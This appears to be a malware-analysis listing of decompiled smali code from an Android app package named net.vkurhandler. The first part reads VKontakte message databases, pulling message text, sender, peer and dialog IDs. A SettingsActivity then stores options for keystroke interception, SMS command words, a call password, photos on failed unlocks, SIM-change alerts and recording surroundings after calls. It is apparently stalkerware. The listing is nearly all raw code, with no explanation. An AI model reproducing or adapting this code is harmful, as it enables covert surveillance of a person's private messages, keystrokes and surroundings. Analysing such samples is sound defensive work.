                    278invoke-virtual {v11, v14, v15}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    280const-string v14, "sub_type"
                    281const/4 v15, 0x6
                    283invoke-virtual {v11, v14, v15}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    285const-string v14, "date"
                    287invoke-virtual {v11, v14, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    289const-string v8, "message"
                    291invoke-virtual {v11, v8, v4}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    293const-string v4, "sender"
                    295invoke-virtual {v11, v4, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    297const-string v4, "peer"
                    299invoke-virtual {v11, v4, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    301const-string v4, "is_out"
                    303invoke-virtual {v11, v4, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    305const-string v3, "dialog_id"
                    307invoke-virtual {v11, v3, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    309invoke-static {v11}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    310cond_199: move v3, v9
                    311goto/16 :goto_86
                    312cond_19c: const/4 v11, 0x0
                    313move-object/from16 v0, p0
                    315invoke-direct {v0, v2, v6}, Lnet/vkurhandler/dr;->b(Landroid/database/sqlite/SQLiteDatabase;I)Ljava/lang/String;
                    316move-result-object v3
                    317move-object v14, v13
                    318move-object v13, v3
                    319goto/16 :goto_13f
                    320cond_1a6: const/4 v3, 0x1
                    321move-object v5, v12
                    322move-object v6, v13
                    323move-object v7, v14
                    324move-object v8, v15
                    325move-wide/from16 v12, v16
                    326goto/16 :goto_159
                    327cond_1ae:
                    328const-string v18, "error"
                    329try_start_1b0:
                    330const-string v3, "messages_search_content"
                    332sget-object v4, Lnet/vkurhandler/dr;->q:[Ljava/lang/String;
                    333new-instance v5, Ljava/lang/StringBuilder;
                    335const-string v6, "c0local_id = "
                    337invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    339invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    340move-result-object v5
                    342invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    343move-result-object v5
                    344const/4 v6, 0x0
                    345const/4 v7, 0x0
                    346const/4 v8, 0x0
                    347const/4 v9, 0x0
                    349invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    350move-result-object v3
                    352invoke-interface {v3}, Landroid/database/Cursor;->getCount()I
                    353move-result v4
                    354if-lez v4, :cond_250
                    356invoke-interface {v3}, Landroid/database/Cursor;->moveToFirst()Z
                    357const/4 v4, 0x2
                    359invoke-interface {v3, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    360move-result-object v5
                    362const-string v3, ""
                    364invoke-virtual {v5, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    365try_end_1de: move-result v3
                    366if-nez v3, :cond_250
                    367goto_1e1: const/4 v3, 0x2
                    368try_start_1e2:
                    369invoke-interface {v10, v3}, Landroid/database/Cursor;->getBlob(I)[B
                    370move-result-object v7
                    372const-string v3, "error"
                    374invoke-virtual {v5, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    375move-result v3
                    376if-eqz v3, :cond_279
                    377const/16 v3, 0x95
                    378aget-byte v3, v7, v3
                    379mul-int/lit16 v3, v3, 0x100
                    380const/16 v4, 0x96
                    381aget-byte v4, v7, v4
                    382try_end_1f8: add-int v8, v3, v4
                    383mul-int/lit8 v3, v8, 0x2
                    384try_start_1fc: new-array v9, v3, [B
                    385const/4 v4, 0x0
                    386const/4 v3, 0x0
                    387move/from16 v19, v3
                    388move v3, v4
                    389move/from16 v4, v19
                    390goto_205: if-lt v4, v8, :cond_253
                    391new-array v6, v3, [B
                    392const/4 v4, 0x0
                    393goto_20a: if-lt v4, v3, :cond_26c
                    394new-instance v4, Ljava/lang/String;
                    396sget-object v3, Ljava/nio/charset/StandardCharsets;->UTF_8:Ljava/nio/charset/Charset;
                    398invoke-direct {v4, v6, v3}, Ljava/lang/String;-><init>([BLjava/nio/charset/Charset;)V
                    399try_end_213:
                    400const-string v3, "error"
                    402invoke-virtual {v4, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    403move-result v3
                    404if-eqz v3, :cond_34d
                    405const/16 v3, 0x8c
                    406aget-byte v3, v7, v3
                    407mul-int/lit16 v3, v3, 0x100
                    408const/16 v5, 0x8d
                    409aget-byte v5, v7, v5
                    410try_end_225: add-int v8, v3, v5
                    411mul-int/lit8 v3, v8, 0x2
                    412try_start_229: new-array v9, v3, [B
                    413const/4 v5, 0x0
                    414const/4 v3, 0x0
                    415move/from16 v19, v3
                    416move v3, v5
                    417move/from16 v5, v19
                    418goto_232: if-lt v5, v8, :cond_27b
                    419new-array v6, v3, [B
                    420const/4 v5, 0x0
                    421goto_237: if-lt v5, v3, :cond_294
                    422new-instance v3, Ljava/lang/String;
                    424sget-object v5, Ljava/nio/charset/StandardCharsets;->UTF_8:Ljava/nio/charset/Charset;
                    426invoke-direct {v3, v6, v5}, Ljava/lang/String;-><init>([BLjava/nio/charset/Charset;)V
                    427try_end_240: move-object v4, v3
                    428move-object v5, v12
                    429move-object v6, v13
                    430move-object v7, v14
                    431move-object v8, v15
                    432move v3, v11
                    433move-wide/from16 v12, v16
                    434goto/16 :goto_159
                    435catch_24a: move-exception v3
                    436try_start_24b:
                    437const-string v4, "RTVkontakte"
                    439invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    440cond_250: move-object/from16 v5, v18
                    441goto/16 :goto_1e1
                    442cond_253: add-int/lit16 v6, v3, 0x99
                    443try_start_255: aget-byte v6, v7, v6
                    444aput-byte v6, v9, v3
                    445aget-byte v6, v9, v3
                    446if-gez v6, :cond_265
                    447add-int/lit8 v3, v3, 0x1
                    448add-int/lit16 v6, v3, 0x99
                    449aget-byte v6, v7, v6
                    450aput-byte v6, v9, v3
                    451cond_265: add-int/lit8 v6, v3, 0x1
                    452add-int/lit8 v3, v4, 0x1
                    453move v4, v3
                    454move v3, v6
                    455goto/16 :goto_205
                    456cond_26c: aget-byte v8, v9, v4
                    457aput-byte v8, v6, v4
                    458try_end_270: add-int/lit8 v4, v4, 0x1
                    459goto/16 :goto_20a
                    460catch_273: move-exception v3
                    461try_start_274:
                    462const-string v4, "RTVkontakte"
                    464invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    465try_end_279: move-object v4, v5
                    466goto/16 :goto_213
                    467cond_27b: add-int/lit16 v6, v3, 0x8e
                    468try_start_27d: aget-byte v6, v7, v6
                    469aput-byte v6, v9, v3
                    470aget-byte v6, v9, v3
                    471if-gez v6, :cond_28d
                    472add-int/lit8 v3, v3, 0x1
                    473add-int/lit16 v6, v3, 0x8e
                    474aget-byte v6, v7, v6
                    475aput-byte v6, v9, v3
                    476cond_28d: add-int/lit8 v6, v3, 0x1
                    477add-int/lit8 v3, v5, 0x1
                    478move v5, v3
                    479move v3, v6
                    480goto/16 :goto_232
                    481cond_294: aget-byte v7, v9, v5
                    482aput-byte v7, v6, v5
                    483try_end_298: add-int/lit8 v5, v5, 0x1
                    484goto/16 :goto_237
                    485catch_29b: move-exception v3
                    486try_start_29c:
                    487const-string v5, "RTVkontakte"
                    489invoke-static {v5, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    490move v3, v11
                    491move-object v5, v12
                    492move-object v6, v13
                    493move-object v7, v14
                    494move-object v8, v15
                    495move-wide/from16 v12, v16
                    496goto/16 :goto_159
                    497cond_2aa: const/4 v3, 0x0
                    499invoke-interface {v10, v3}, Landroid/database/Cursor;->getInt(I)I
                    500move-result v7
                    501const/4 v3, 0x1
                    503invoke-interface {v10, v3}, Landroid/database/Cursor;->getInt(I)I
                    504move-result v11
                    505const/4 v3, 0x2
                    507invoke-interface {v10, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    508move-result-object v4
                    509const/4 v3, 0x3
                    511invoke-interface {v10, v3}, Landroid/database/Cursor;->getLong(I)J
                    512move-result-wide v8
                    513cmp-long v3, v8, v12
                    514if-lez v3, :cond_2c3
                    515move-wide v12, v8
                    516cond_2c3:
                    517const-string v5, "unknown"
                    518move-object/from16 v0, p0
                    520invoke-direct {v0, v2, v11}, Lnet/vkurhandler/dr;->a(Landroid/database/sqlite/SQLiteDatabase;I)Ljava/lang/String;
                    521move-result-object v6
                    522const/4 v3, 0x1
                    523const-wide/16 v14, 0x3e8
                    524mul-long/2addr v8, v14
                    526invoke-static {v3, v8, v9}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    527move-result-object v8
                    529invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dr;->l()Ljava/lang/String;
                    530move-result-object v3
                    531if-ne v7, v11, :cond_2e9
                    532move-object v7, v3
                    533goto_2da:
                    534const-string v9, "unknown"
                    536invoke-virtual {v6, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    537move-result v9
                    538if-eqz v9, :cond_2e3
                    539move-object v6, v3
                    540cond_2e3:
                    541invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    542move-result v3
                    543goto/16 :goto_159
                    544cond_2e9: move-object/from16 v0, p0
                    546invoke-direct {v0, v2, v7}, Lnet/vkurhandler/dr;->a(Landroid/database/sqlite/SQLiteDatabase;I)Ljava/lang/String;
                    547move-result-object v7
                    548goto/16 :goto_2da
                    549cond_2f0: const/4 v3, 0x1
                    550move-object/from16 v0, p0
                    551iput-boolean v3, v0, Lnet/vkurhandler/dr;->v:Z
                    552try_end_2f5: goto/16 :goto_a6
                    553catch_2f7: move-exception v3
                    554move-object/from16 v19, v3
                    555move-object v3, v2
                    556move-object/from16 v2, v19
                    557try_start_2fd:
                    558const-string v4, "RTVkontakte"
                    560invoke-static {v4, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    561try_end_302: if-eqz v10, :cond_307
                    562try_start_304:
                    563invoke-interface {v10}, Landroid/database/Cursor;->close()V
                    564cond_307: if-eqz v3, :cond_12
                    566invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    567move-result v2
                    568if-eqz v2, :cond_12
                    570invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    571try_end_312: goto/16 :goto_12
                    572catch_314: move-exception v2
                    574const-string v3, "RTVkontakte"
                    576invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    577goto/16 :goto_12
                    578catchall_31c: move-exception v2
                    579goto_31d: if-eqz v10, :cond_322
                    580try_start_31f:
                    581invoke-interface {v10}, Landroid/database/Cursor;->close()V
                    582cond_322: if-eqz v3, :cond_32d
                    584invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    585move-result v4
                    586if-eqz v4, :cond_32d
                    588invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    589goto_32d: throw v2
                    590catch_32e: move-exception v3
                    592const-string v4, "RTVkontakte"
                    594invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    595goto/16 :goto_32d
                    596catchall_335: move-exception v3
                    597move-object/from16 v19, v3
                    598move-object v3, v2
                    599move-object/from16 v2, v19
                    600goto/16 :goto_31d
                    601catchall_33c: move-exception v4
                    602move-object v10, v3
                    603move-object v3, v2
                    604move-object v2, v4
                    605goto/16 :goto_31d
                    606catch_341: move-exception v2
                    607goto/16 :goto_2fd
                    608catch_343: move-exception v4
                    609move-object v10, v3
                    610move-object v3, v2
                    611move-object v2, v4
                    612goto/16 :goto_2fd
                    613catch_348: move-exception v4
                    614move-object v10, v3
                    615move-object v3, v4
                    616goto/16 :goto_c1
                    617cond_34d: move v3, v11
                    618move-object v5, v12
                    619move-object v6, v13
                    620move-object v7, v14
                    621move-object v8, v15
                    622move-wide/from16 v12, v16
                    623goto/16 :goto_159
                    624cond_356: move-wide/from16 v16, v12
                    625goto/16 :goto_125
                    626cond_35a: move-object v2, v3
                    627goto/16 :goto_a6
                    Cross References
                    APIs
                    • net.vkurhandler.SettingsActivity.U:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • net.vkurhandler.SettingsActivity.V:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.Z:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.X:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.W:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.aa:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.m:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • java.lang.String.valueOf
                    • java.lang.Integer.valueOf
                    • net.vkurhandler.SettingsActivity.n:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.l:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.i:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • net.vkurhandler.SettingsActivity.e
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.j:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • net.vkurhandler.SettingsActivity.b
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.k:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.KeysInterceptor.a
                    • net.vkurhandler.SettingsActivity.an:Landroid/widget/CheckBox
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsActivity.g:Lnet/vkurhandler/MyApp
                    • net.vkurhandler.MyApp.v
                    • android.text.TextUtils.isEmpty
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.SettingsActivity.af:Landroid/widget/CheckBox
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.LocationNotifier.b
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.ab:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.LocationNotifier.a
                    Strings
                    • sim_checker_1
                    • sim_checker_2
                    • key_intercept_min_pressed_keys
                    • sms_code_word
                    • call_password
                    • make_photo_unlock_config
                    • %s,%d,%d
                    • number_of_failed_unlocks
                    • change_sim_isend
                    • interval_send
                    • interception_photo_quality
                    • record_env_after_end_call
                    Position Instruction Meta Information
                    0const/16 v8, 0x12c
                    1const/4 v7, 0x1
                    2const/4 v6, 0x0
                    4iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->U:Landroid/widget/EditText;
                    6invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    7move-result-object v0
                    9invoke-interface {v0}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    10move-result-object v0
                    12invoke-static {v0}, Lnet/vkurhandler/gn;->d(Ljava/lang/String;)Ljava/lang/String;
                    13move-result-object v0
                    15iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->V:Landroid/widget/EditText;
                    17invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    18move-result-object v1
                    20invoke-interface {v1}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    21move-result-object v1
                    23invoke-static {v1}, Lnet/vkurhandler/gn;->d(Ljava/lang/String;)Ljava/lang/String;
                    24move-result-object v1
                    26iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    28invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    29move-result-object v2
                    31const-string v3, "sim_checker_1"
                    33invoke-interface {v2, v3, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    34move-result-object v0
                    36invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    38iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    40invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    41move-result-object v0
                    43const-string v2, "sim_checker_2"
                    45invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    46move-result-object v0
                    48invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    50iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    52invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    53move-result-object v0
                    55const-string v1, "key_intercept_min_pressed_keys"
                    57iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->Z:Landroid/widget/EditText;
                    59invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    60move-result-object v2
                    62invoke-interface {v2}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    63move-result-object v2
                    64const/16 v3, 0x2710
                    66invoke-static {v2, v7, v3}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;II)I
                    67move-result v2
                    69invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    70move-result-object v0
                    72invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    74iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    76invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    77move-result-object v0
                    79const-string v1, "sms_code_word"
                    81iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->X:Landroid/widget/EditText;
                    83invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    84move-result-object v2
                    86invoke-interface {v2}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    87move-result-object v2
                    89invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    90move-result-object v0
                    92invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    94iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    96invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    97move-result-object v0
                    99const-string v1, "call_password"
                    101iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->W:Landroid/widget/EditText;
                    103invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    104move-result-object v2
                    106invoke-interface {v2}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    107move-result-object v2
                    109invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    110move-result-object v0
                    112invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    114iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aa:Landroid/widget/EditText;
                    116invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    117move-result-object v0
                    119invoke-interface {v0}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    120move-result-object v0
                    122invoke-static {v0, v6, v8}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;II)I
                    123move-result v0
                    125iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    127invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    128move-result-object v1
                    130const-string v2, "make_photo_unlock_config"
                    132const-string v3, "%s,%d,%d"
                    133const/4 v4, 0x3
                    134new-array v4, v4, [Ljava/lang/Object;
                    136iget-object v5, p0, Lnet/vkurhandler/SettingsActivity;->m:Landroid/widget/Spinner;
                    138invoke-virtual {v5}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    139move-result v5
                    141invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    142move-result-object v5
                    143aput-object v5, v4, v6
                    145invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    146move-result-object v0
                    147aput-object v0, v4, v7
                    148const/4 v0, 0x2
                    150iget-object v5, p0, Lnet/vkurhandler/SettingsActivity;->n:Landroid/widget/Spinner;
                    152invoke-virtual {v5}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    153move-result v5
                    155invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    156move-result-object v5
                    157aput-object v5, v4, v0
                    159invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    160move-result-object v0
                    162invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    163move-result-object v0
                    165invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    167iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    169invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    170move-result-object v0
                    172const-string v1, "number_of_failed_unlocks"
                    174iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->l:Landroid/widget/Spinner;
                    176invoke-virtual {v2}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    177move-result v2
                    178add-int/lit8 v2, v2, 0x1
                    180invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    181move-result-object v0
                    183invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    185iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    187invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    188move-result-object v0
                    190const-string v1, "change_sim_isend"
                    192iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->i:Landroid/widget/Spinner;
                    194invoke-virtual {v2}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    195move-result v2
                    197invoke-direct {p0, v2}, Lnet/vkurhandler/SettingsActivity;->e(I)I
                    198move-result v2
                    200invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    201move-result-object v0
                    203invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    205iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    207invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    208move-result-object v0
                    210const-string v1, "interval_send"
                    212iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->j:Landroid/widget/Spinner;
                    214invoke-virtual {v2}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    215move-result v2
                    217invoke-direct {p0, v2}, Lnet/vkurhandler/SettingsActivity;->b(I)I
                    218move-result v2
                    220invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    221move-result-object v0
                    223invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    225iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    227invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    228move-result-object v0
                    230const-string v1, "interception_photo_quality"
                    232iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->k:Landroid/widget/Spinner;
                    234invoke-virtual {v2}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    235move-result v2
                    237invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    238move-result-object v0
                    240invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    242invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    243move-result-object v0
                    245invoke-static {v0}, Lnet/vkurhandler/KeysInterceptor;->a(Landroid/content/Context;)V
                    247iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->an:Landroid/widget/CheckBox;
                    249invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    250move-result v0
                    251if-eqz v0, :cond_197
                    253iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->g:Lnet/vkurhandler/MyApp;
                    255invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    256move-result-object v0
                    258invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->a()Ljava/lang/String;
                    259move-result-object v0
                    261invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    262move-result v0
                    263if-nez v0, :cond_197
                    265invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    266move-result-object v0
                    268invoke-static {v0}, Lnet/vkurhandler/fx;->a(Landroid/content/Context;)V
                    269goto_158:
                    270iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->af:Landroid/widget/CheckBox;
                    272invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    273move-result v0
                    274if-eqz v0, :cond_19f
                    276invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    277move-result-object v0
                    279iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    281const-string v2, "interval_send"
                    283invoke-interface {v1, v2, v8}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
